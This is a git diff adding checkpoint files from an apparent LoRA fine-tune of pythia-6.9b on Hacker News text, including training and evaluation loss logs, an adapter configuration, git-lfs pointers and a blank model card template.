b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/trainer_state.json @@ -0,0 +1,648 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.466666666666667, + "eval_steps": 10, + "global_step": 410, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.71828951433216e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..064ebaad44f533dd146b9ad5335437963bcc97a8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c76fde5fa693bc791caacf46387fed4fc8e50e26fcec55d0d064c2b493769b77 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..56473e286895d02837d19d172b1579a28fe9dca3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e6ab7b295eda2b420ec60bf08294381aeece607ea4a71a4055090167b2d23c7c +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..7c168ba589ab149907f65c12980a55da76890995 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:02f02c3c7264962c7bbb05c73c2c2f9530a34cf2c29d550cdc787ae19eb6d9bb +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..6b66301b7ac8ccf1308c1ac8d63d7000259489d4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5336fb81030d9ecbffa34471d17a4c3981e781c865d7ff7a9b59e360e4230577 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..cc6e59b6b045faadac5aa9e5afdf158c3caccce2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/trainer_state.json @@ -0,0 +1,663 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.6, + "eval_steps": 10, + "global_step": 420, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 